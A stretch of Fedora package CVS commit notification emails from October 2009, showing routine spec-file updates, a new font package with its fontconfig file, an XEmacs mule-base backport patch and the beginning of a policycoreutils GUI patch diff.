@@ -395,7 +395,6 @@
 
 # set the include path found by configure
 INCLUDES = $(EXT_INCLUDES) $(all_includes)
-SUBDIRS = antlr
 noinst_HEADERS = gdlwidget.hpp prognode.hpp prognodeexpr.hpp
 cpp_hpp_files = accessdesc.hpp arrayindex.hpp assocdata.cpp assocdata.hpp \
 		basegdl.hpp basic_fun_cl.cpp basic_fun_cl.hpp basic_fun.cpp basic_fun.hpp \
@@ -442,7 +441,7 @@
 @BUILDASLIBRARY_FALSE at gdl_CXXFLAGS = $(AM_CXXFLAGS)
 # the library search path.
 @BUILDASLIBRARY_FALSE at gdl_LDFLAGS = $(all_libraries)
- at BUILDASLIBRARY_FALSE@gdl_LDADD = $(top_builddir)/src/antlr/libantlr.a -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+ at BUILDASLIBRARY_FALSE@gdl_LDADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 
 # build as library (for python module)
 @BUILDASLIBRARY_TRUE at lib_LTLIBRARIES = libgdl.la
@@ -452,7 +451,7 @@
 # netCDF and HDF define some same symbols
 # hence -z muldefs has to be passed to the linker
 @BUILDASLIBRARY_TRUE@@DARWIN_TRUE at libgdl_la_LDFLAGS = $(all_libraries) -Wl,-m
- at BUILDASLIBRARY_TRUE@libgdl_la_LIBADD = $(top_builddir)/src/antlr/libantlr.la -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+ at BUILDASLIBRARY_TRUE@libgdl_la_LIBADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 all: all-recursive
 
 .SUFFIXES:


--- NEW FILE import.log ---
gdl-0_9-0_7_rc3_fc13:F-11:gdl-0.9-0.7.rc3.fc13.src.rpm:1255641791


--- NEW FILE makecvstarball ---
#!/bin/sh
if [ -n "$" ]
then
   date=$1
else
   date=`date +%Y%m%d`
fi
cvs -z3 -d :pserver:anonymous at gnudatalanguage.cvs.sourceforge.net:/cvsroot/gnudatalanguage export -D ${date} -d gdl-0.9rc2-${date} gdl
tar cjf gdl-0.9rc2-${date}.tar.bz2 gdl-0.9rc2-${date}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/F-11/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	12 Mar 2009 14:55:31 -0000	1.13
+++ .cvsignore	15 Oct 2009 21:23:25 -0000	1.14
@@ -1 +1 @@
-gdl-0.9rc2-20090312.tar.bz2
+gdl-0.9rc3.tar.gz


Index: gdl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/F-11/gdl.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- gdl.spec	16 Mar 2009 15:21:05 -0000	1.47
+++ gdl.spec	15 Oct 2009 21:23:25 -0000	1.48
@@ -2,34 +2,37 @@
 
 Name:           gdl
 Version:        0.9
-Release:        0.5.rc2.20090312%{?dist}
+Release:        0.7.rc3%{?dist}
 Summary:        GNU Data Language
 
 Group:          Applications/Engineering
 License:        GPLv2+
 URL:            http://gnudatalanguage.sourceforge.net/
-#Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2.tar.bz2
-# cvs -z3 -d :pserver:anonymous at gnudatalanguage.cvs.sourceforge.net:/cvsroot/gnudatalanguage export -D 20090312 -d gdl-0.9rc2-20090312 gdl
-# tar cjf gdl-0.9rc2-20090312.tar.bz2 gdl-0.9rc2-20090312
-Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2-20090312.tar.bz2
+Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc3.tar.gz
+# Made with makecvstarball
+#Source0:        http://downloads.sourceforge.net/gnudatalanguage/%{name}-%{version}rc2-20090603.tar.bz2
 Source1:        gdl.csh
 Source2:        gdl.sh
-Patch1:         gdl-0.9pre5-ppc64.patch
-Patch2:         gdl-0.9rc1-gcc43.patch
+Source3:        makecvstarball
 # Build with system antlr library.  Request for upstream change here:
 # https://sourceforge.net/tracker/index.php?func=detail&aid=2685215&group_id=97659&atid=618686
-Patch3:         gdl-0.9rc2-20090312-antlr.patch
-# gcc 4.4.0 catches more class issues - add needed friend
-# https://sourceforge.net/tracker/index.php?func=detail&aid=2634356&group_id=97659&atid=618683
-Patch4:         gdl-0.9rc2-20090224-friend.patch
+Patch3:         gdl-0.9rc3-antlr.patch
+Patch4:         gdl-0.9rc2-20090504-antlr-auto.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
+#RHEL doesn't have the needed antlr version/headers, old plplot
+%if !0%{?rhel}
 BuildRequires:  antlr
+%define plplot_config %{nil}
+%else
+%define plplot_config --enable-oldplplot
+%endif
 BuildRequires:  readline-devel, ncurses-devel
 BuildRequires:  gsl-devel, plplot-devel, ImageMagick-c++-devel
 BuildRequires:  netcdf-devel, hdf5-devel, libjpeg-devel
 BuildRequires:  python-devel, python-numarray, python-matplotlib
 BuildRequires:  fftw-devel, hdf-devel, proj-devel
+BuildRequires:  autoconf, automake, libtool
 # Needed to pull in drivers
 Requires:       plplot
 Requires:       %{name}-common = %{version}-%{release}
@@ -46,25 +49,31 @@ Systems Inc.
 Summary:        Common files for GDL
 Group:          Applications/Engineering
 Requires:       %{name}-runtime = %{version}-%{release}
+%if !0%{?rhel}
 BuildArch:      noarch
+%endif
 
 %description    common
 Common files for GDL
 
 
 %prep
-%setup -q -n %{name}-%{version}rc2-20090312
-%patch1 -p1 -b .ppc64
-%patch2 -p1 -b .gcc43
+%setup -q -n %{name}-%{version}rc3
+%if !0%{?rhel}
 %patch3 -p1 -b .antlr
-%patch4 -p1 -b .friend
+%patch4 -p1 -b .antlr-auto
+%endif
+%if !0%{?rhel}
 rm -rf src/antlr
+%endif
+rm ltmain.sh
+autoreconf --install
 
 
 %build
 export CPPFLAGS="-DH5_USE_16_API"
-%global _configure ../configure
 %configure --disable-dependency-tracking --disable-static --with-fftw \
+           %{plplot_config} \
            INCLUDES="-I/usr/include/netcdf -I/usr/include/hdf" \
            LIBS="-L%{_libdir}/hdf"
 make %{?_smp_mflags}
@@ -85,6 +94,11 @@ install -m 0644 %SOURCE1 $RPM_BUILD_ROOT
 install -m 0644 %SOURCE2 $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
 
 
+%check
+cd testsuite
+echo ".r test_suite" | ../src/gdl
+
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -101,6 +115,17 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 15 2009 - Orion Poplawski <orion at cora.nwra.com> - 0.9-0.7.rc3
+- Update to 0.9rc3
+- Drop gcc43, ppc64, friend patches fixed upstream
+- Add source for makecvstarball
+- Rebase antlr patch, add automake source version
+- Add conditionals for EPEL builds
+- Add %%check section
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-0.6.rc2.20090312
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Mar 16 2009 - Orion Poplawski <orion at cora.nwra.com> - 0.9-0.5.rc2.20090312
 - Back off building python module until configure macro is updated
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gdl/F-11/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	12 Mar 2009 14:55:31 -0000	1.13
+++ sources	15 Oct 2009 21:23:25 -0000	1.14
@@ -1 +1 @@
-a3f361a43164617934134300cbe51207  gdl-0.9rc2-20090312.tar.bz2
+94a29e13ec5d71e664659b32e421b02e  gdl-0.9rc3.tar.gz


--- gdl-0.9pre5-ppc64.patch DELETED ---


--- gdl-0.9pre6-plplot.patch DELETED ---


--- gdl-0.9rc1-gcc43.patch DELETED ---


--- gdl-0.9rc2-20090224-friend.patch DELETED ---


--- gdl-0.9rc2-20090312-antlr.patch DELETED ---



From nim at fedoraproject.org  Thu Oct 15 21:26:35 2009
From: nim at fedoraproject.org (nim)
Date: Thu, 15 Oct 2009 21:26:35 +0000 (UTC)
Subject: rpms/adf-tribun-fonts/F-12 adf-tribun-fonts-fontconfig.conf, NONE, 
	1.1 adf-tribun-fonts.spec, NONE, 1.1 import.log, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015212635.3E84611C00DB@cvs1.fedora.phx.redhat.com>

Author: nim

Update of /cvs/extras/rpms/adf-tribun-fonts/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21909/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	adf-tribun-fonts-fontconfig.conf adf-tribun-fonts.spec 
	import.log 
Log Message:
initial import


--- NEW FILE adf-tribun-fonts-fontconfig.conf ---
<?xml version="1.0"?>
<!DOCTYPE fontconfig SYSTEM "fonts.dtd">
<fontconfig>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Medium</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded DemiBold</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded DemiBold</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded DemiBold Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded DemiBold Italic</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Bold</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded Black</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded Black</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Med</string>
    </test>
    <test name="style">
      <string>Bold Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiExpanded Black Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiExpanded Black Italic</string>
    </edit>
  </match>
  <alias binding="same">
    <family>Tribun ADF Std Med</family>
    <accept>
      <family>Tribun ADF Std</family>
    </accept>
  </alias>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Regular</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed Medium</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed Medium</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed Medium Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed Medium Italic</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Bold</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed ExtraBold</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed ExtraBold</string>
    </edit>
  </match>
  <match target="scan">
    <test name="family">
      <string>Tribun ADF Std Cond</string>
    </test>
    <test name="style">
      <string>Bold Italic</string>
    </test>
    <edit name="family">
      <string>Tribun ADF Std</string>
    </edit>
    <edit name="style">
      <string>SemiCondensed ExtraBold Italic</string>
    </edit>
    <edit name="fullname">
      <string>Tribun ADF Std SemiCondensed ExtraBold Italic</string>
    </edit>
  </match>
  <alias binding="same">
    <family>Tribun ADF Std Cond</family>
    <accept>
      <family>Tribun ADF Std</family>
    </accept>
  </alias>
  <alias>
    <family>serif</family>
    <prefer>
      <family>Tribun ADF Std</family>
    </prefer>
  </alias>
  <alias>
    <family>Tribun ADF Std</family>
    <default>
      <family>serif</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE adf-tribun-fonts.spec ---
%global fontname adf-tribun
%global fontconf 60-%{fontname}.conf

%global archivename Tribun-Std

Name:    %{fontname}-fonts
Version: 1.13
Release: 1%{?dist}
Summary: A newsprint-like serif typeface

Group:     User Interface/X
License:   GPLv2+ with exceptions
URL:       http://arkandis.tuxfamily.org/adffonts.html
Source0:   http://arkandis.tuxfamily.org/fonts/%{archivename}.zip
Source1:   http://arkandis.tuxfamily.org/docs/Tribun-Cat.pdf
Source11:  %{name}-fontconfig.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:     noarch
BuildRequires: fontpackages-devel
Requires:      fontpackages-filesystem

%description
Hirwen Harendal started in 1999 the realization of a first font family, aiming
to create another ?Times New Roman?? He does not consider this endeavour a huge
success. However, he transformed Tribun progessively since then to give it its
own character.

The idea was to achieve newsprint-like rendering. To this effect, the glyph
bodies, serifs, or even extenders are not normalised and use irregular strokes.
This is most visible in italics though those variations stay imperceptible at
small sizes.

Italics proved time-consuming. They are never an easy thing to draw.
Nevertheless, the designer considers them very close to those of ?Times?, with
some variations.

The medium weight uses a stronger stroke. It can be used for emphasis, or for
effects in titles. That being said it has also been used for body copy. It is
also slightly expanded to complete the face offerings.

The condensed version is a bit unusual, since it stands in for both normal and
medium condensed. After several trials, Hirwen decided an intermediate weight
rendered much better both for document display and in print. Secondly, he took
great care to keep readability excellent, and this even for italics.

This font family is particularly well suited for text, display, or
presentations. It is also ideal for all Web publications. It can serve as
alternative to ?Times New Roman? and other similar fonts.


%prep
%setup -q -n %{archivename}
install -m 0644 -p %{SOURCE1} .
for txt in NOTICE */COPYING ; do
   fold -s $txt > $txt.new &&\
   sed -i 's/\r//' $txt.new &&\
   touch -r $txt $txt.new &&\
   mv $txt.new $txt
done


%build


%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p TTF/*.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE11} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc NOTICE TTF/COPYING *.pdf

%changelog
* Sat Oct 10 2009 <nicolas.mailhot at laposte.net>
- 1.13-1
? Initial release


--- NEW FILE import.log ---
adf-tribun-fonts-1_13-1_fc13:F-12:adf-tribun-fonts-1.13-1.fc13.src.rpm:1255641364


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/adf-tribun-fonts/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:24:37 -0000	1.1
+++ .cvsignore	15 Oct 2009 21:26:34 -0000	1.2
@@ -0,0 +1,2 @@
+Tribun-Cat.pdf
+Tribun-Std.zip


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/adf-tribun-fonts/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:24:37 -0000	1.1
+++ sources	15 Oct 2009 21:26:35 -0000	1.2
@@ -0,0 +1,2 @@
+d7bcba4e405765cde2755666e80a3a20  Tribun-Cat.pdf
+46f08319ae8b6c49454cfc36555471a5  Tribun-Std.zip



From jjames at fedoraproject.org  Thu Oct 15 21:42:11 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 15 Oct 2009 21:42:11 +0000 (UTC)
Subject: rpms/xemacs-packages-base/F-10
	xemacs-packages-base-20090901-mule-480845.patch, NONE,
	1.1 xemacs-packages-base.spec, 1.4, 1.5
Message-ID: <20091015214211.ABB2B11C0265@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs-packages-base/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25384/F-10

Modified Files:
	xemacs-packages-base.spec 
Added Files:
	xemacs-packages-base-20090901-mule-480845.patch 
Log Message:
* Thu Oct 15 2009 Jerry James <loganjerry at gmail.com> - 20070427-3
- Backport mule-base patch to fix 480845 for F-10 users.


xemacs-packages-base-20090901-mule-480845.patch:
 ChangeLog    |    7 +++++
 mule-util.el |   69 -----------------------------------------------------------
 2 files changed, 7 insertions(+), 69 deletions(-)

--- NEW FILE xemacs-packages-base-20090901-mule-480845.patch ---
Index: mule-packages/mule-base/ChangeLog
===================================================================
RCS file: /pack/xemacscvs/XEmacs/packages/mule-packages/mule-base/ChangeLog,v
retrieving revision 1.66
diff -d -u -r1.66 ChangeLog
--- mule-packages/mule-base/ChangeLog	9 Aug 2008 12:41:17 -0000	1.66
+++ mule-packages/mule-base/ChangeLog	1 Sep 2009 18:56:15 -0000
@@ -1,3 +1,10 @@
+2009-09-01  Jerry James  <james at xemacs.org>
+
+	* mule-util.el (store-substring): Remove older version of a
+	function that is now defined in subr.el.
+	(truncate-string-to-width): Ditto.
+	(truncate-string): Ditto.
+
 2008-08-09  Norbert Koch  <viteno at xemacs.org>
 
 	* Makefile (VERSION): XEmacs package 1.53 released.
Index: mule-packages/mule-base/mule-util.el
===================================================================
RCS file: /pack/xemacscvs/XEmacs/packages/mule-packages/mule-base/mule-util.el,v
retrieving revision 1.3
diff -d -u -r1.3 mule-util.el
--- mule-packages/mule-base/mule-util.el	20 May 2007 19:32:53 -0000	1.3
+++ mule-packages/mule-base/mule-util.el	1 Sep 2009 18:56:15 -0000
@@ -68,75 +68,6 @@
 ;;   "Return a vector of characters in STRING."
 ;;   (string-to-sequence string 'vector))
 
-;;;###autoload
-(defun store-substring (string idx obj)
-  "Embed OBJ (string or character) at index IDX of STRING."
-  (if (characterp obj)
-      (aset string idx obj)
-    (let ((len1 (length obj))
-	  (len2 (length string))
-	  (i 0))
-      (while (< i len1)
-	(aset string (+ idx i) (aref obj i))
-	(setq i (1+ i)))))
-  string)
-
-;;;###autoload
-(defun truncate-string-to-width (str end-column &optional start-column padding)
-  "Truncate string STR to end at column END-COLUMN.
-The optional 2nd arg START-COLUMN, if non-nil, specifies
-the starting column; that means to return the characters occupying
-columns START-COLUMN ... END-COLUMN of STR.
-
-The optional 3rd arg PADDING, if non-nil, specifies a padding character
-to add at the end of the result if STR doesn't reach column END-COLUMN,
-or if END-COLUMN comes in the middle of a character in STR.
-PADDING is also added at the beginning of the result
-if column START-COLUMN appears in the middle of a character in STR.
-
-If PADDING is nil, no padding is added in these cases, so
-the resulting string may be narrower than END-COLUMN."
-  (or start-column
-      (setq start-column 0))
-  (let ((len (length str))
-	(idx 0)
-	(column 0)
-	(head-padding "") (tail-padding "")
-	ch last-column last-idx from-idx)
-    (condition-case nil
-	(while (< column start-column)
-	  (setq ch (aref str idx)
-		column (+ column (char-width ch))
-		idx (1+ idx)))
-      (args-out-of-range (setq idx len)))
-    (if (< column start-column)
-	(if padding (make-string end-column padding) "")
-      (if (and padding (> column start-column))
-	  (setq head-padding (make-string (- column start-column) padding)))
-      (setq from-idx idx)
-      (if (< end-column column)
-	  (setq idx from-idx)
-	(condition-case nil
-	    (while (< column end-column)
-	      (setq last-column column
-		    last-idx idx
-		    ch (aref str idx)
-		    column (+ column (char-width ch))
-		    idx (1+ idx)))
-	  (args-out-of-range (setq idx len)))
-	(if (> column end-column)
-	    (setq column last-column idx last-idx))
-	(if (and padding (< column end-column))
-	    (setq tail-padding (make-string (- end-column column) padding))))
-      (setq str (substring str from-idx idx))
-      (if padding
-	  (concat head-padding str tail-padding)
-	str))))
-
-;;; For backward compatibility ...
-;;;###autoload
-(defalias 'truncate-string 'truncate-string-to-width)
-(make-obsolete 'truncate-string 'truncate-string-to-width)
 

 ;;; Nested alist handler.  Nested alist is alist whose elements are
 ;;; also nested alist.


Index: xemacs-packages-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs-packages-base/F-10/xemacs-packages-base.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- xemacs-packages-base.spec	16 Aug 2007 15:28:51 -0000	1.4
+++ xemacs-packages-base.spec	15 Oct 2009 21:42:11 -0000	1.5
@@ -3,7 +3,7 @@
 
 Name:           xemacs-packages-base
 Version:        20070427
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Base lisp packages for XEmacs
 
 Group:          Applications/Editors
@@ -13,6 +13,9 @@ URL:            http://www.xemacs.org/Do
 # Tarball created with Source99
 Source0:        %{name}-%{version}.tar.bz2
 Source99:       %{name}-checkout.sh
+# This patch has been committed upstream.  Remove obsolete definitions that
+# lead to a crash in the menubar code.
+Patch0:         xemacs-packages-base-20090901-mule-480845.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -43,6 +46,7 @@ developing or debugging the packages.
 
 %prep
 %setup -q
+%patch0
 [ ! "%(%{xemver})" '<' "21.5" ] && x215="XEMACS_21_5=t" || x215=
 cat << EOF > make.sh
 #!/bin/sh
@@ -105,6 +109,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct 15 2009 Jerry James <loganjerry at gmail.com> - 20070427-3
+- Backport mule-base patch to fix 480845 for F-10 users.
+
 * Thu Aug 16 2007 Ville Skytt? <ville.skytta at iki.fi> - 20070427-2
 - License: GPLv2+ and GPL+
 



From dwalsh at fedoraproject.org  Thu Oct 15 21:46:38 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Thu, 15 Oct 2009 21:46:38 +0000 (UTC)
Subject: rpms/policycoreutils/devel policycoreutils-gui.patch, 1.94,
	1.95 policycoreutils-po.patch, 1.57, 1.58 policycoreutils.spec,
	1.651, 1.652
Message-ID: <20091015214638.EDF9211C00DB@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26552

Modified Files:
	policycoreutils-gui.patch policycoreutils-po.patch 
	policycoreutils.spec 
Log Message:
* Thu Oct 15 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-10
- Remove translations screen from system-config-selinux


policycoreutils-gui.patch:
 Makefile                     |   40 
 booleansPage.py              |  247 +++
 domainsPage.py               |  154 ++
 fcontextPage.py              |  223 ++
 html_util.py                 |  164 ++
 lockdown.glade               |  771 ++++++++++
 lockdown.gladep              |    7 
 lockdown.py                  |  382 ++++
 loginsPage.py                |  185 ++
 mappingsPage.py              |   56 
 modulesPage.py               |  190 ++
 polgen.glade                 | 3305 +++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep                |    7 
 polgen.py                    | 1188 +++++++++++++++
 polgengui.py                 |  627 ++++++++
 portsPage.py                 |  259 +++
 selinux.tbl                  |  234 +++
 semanagePage.py              |  168 ++
 statusPage.py                |  190 ++
 system-config-selinux.glade  | 3025 +++++++++++++++++++++++++++++++++++++++
 system-config-selinux.gladep |    7 
 system-config-selinux.py     |  187 ++
 templates/__init__.py        |   18 
 templates/boolean.py         |   40 
 templates/etc_rw.py          |  129 +
 templates/executable.py      |  359 ++++
 templates/network.py         |   80 +
 templates/rw.py              |  127 +
 templates/script.py          |   99 +
 templates/semodule.py        |   41 
 templates/tmp.py             |   97 +
 templates/user.py            |  182 ++
 templates/var_lib.py         |  158 ++
 templates/var_log.py         |  110 +
 templates/var_run.py         |  118 +
 templates/var_spool.py       |  129 +
 usersPage.py                 |  150 +
 37 files changed, 13453 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils-gui.patch,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- policycoreutils-gui.patch	6 Oct 2009 16:09:52 -0000	1.94
+++ policycoreutils-gui.patch	15 Oct 2009 21:46:14 -0000	1.95
@@ -1,6 +1,6 @@
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/booleansPage.py policycoreutils-2.0.74/gui/booleansPage.py
 --- nsapolicycoreutils/gui/booleansPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/booleansPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/booleansPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,247 @@
 +#
 +# booleansPage.py - GUI for Booleans page in system-config-securitylevel
@@ -251,7 +251,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/domainsPage.py policycoreutils-2.0.74/gui/domainsPage.py
 --- nsapolicycoreutils/gui/domainsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/domainsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/domainsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,154 @@
 +## domainsPage.py - show selinux domains
 +## Copyright (C) 2009 Red Hat, Inc.
@@ -409,7 +409,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +            self.error(e.args[0])
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/fcontextPage.py policycoreutils-2.0.74/gui/fcontextPage.py
 --- nsapolicycoreutils/gui/fcontextPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/fcontextPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/fcontextPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,223 @@
 +## fcontextPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -636,7 +636,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +        self.store.set_value(iter, TYPE_COL, "%s:%s" % (type, mls))
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/html_util.py policycoreutils-2.0.74/gui/html_util.py
 --- nsapolicycoreutils/gui/html_util.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/html_util.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/html_util.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,164 @@
 +# Authors: John Dennis <jdennis at redhat.com>
 +#
@@ -804,7 +804,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.glade policycoreutils-2.0.74/gui/lockdown.glade
 --- nsapolicycoreutils/gui/lockdown.glade	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/lockdown.glade	2009-09-28 09:13:55.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.glade	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,771 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-interface SYSTEM "http://glade.gnome.org/glade-2.0.dtd">
@@ -1579,7 +1579,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-interface>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.gladep policycoreutils-2.0.74/gui/lockdown.gladep
 --- nsapolicycoreutils/gui/lockdown.gladep	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/lockdown.gladep	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.gladep	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,7 @@
 +<?xml version="1.0" standalone="no"?> <!--*- mode: xml -*-->
 +<!DOCTYPE glade-project SYSTEM "http://glade.gnome.org/glade-project-2.0.dtd">
@@ -1590,7 +1590,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +</glade-project>
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/lockdown.py policycoreutils-2.0.74/gui/lockdown.py
 --- nsapolicycoreutils/gui/lockdown.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/lockdown.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/lockdown.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,382 @@
 +#!/usr/bin/python
 +#
@@ -1976,7 +1976,7 @@ diff --exclude-from=exclude -N -u -r nsa
 +    app.stand_alone()
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/loginsPage.py policycoreutils-2.0.74/gui/loginsPage.py
 --- nsapolicycoreutils/gui/loginsPage.py	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/gui/loginsPage.py	2009-09-20 21:26:37.000000000 -0400
++++ policycoreutils-2.0.74/gui/loginsPage.py	2009-10-15 10:37:42.000000000 -0400
 @@ -0,0 +1,185 @@
 +## loginsPage.py - show selinux mappings
 +## Copyright (C) 2006 Red Hat, Inc.
@@ -2165,8 +2165,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/Makefile policycoreutils-2.0.74/gui/Makefile
 --- nsapolicycoreutils/gui/Makefile	1969-12-31 19:00:00.000000000 -0500
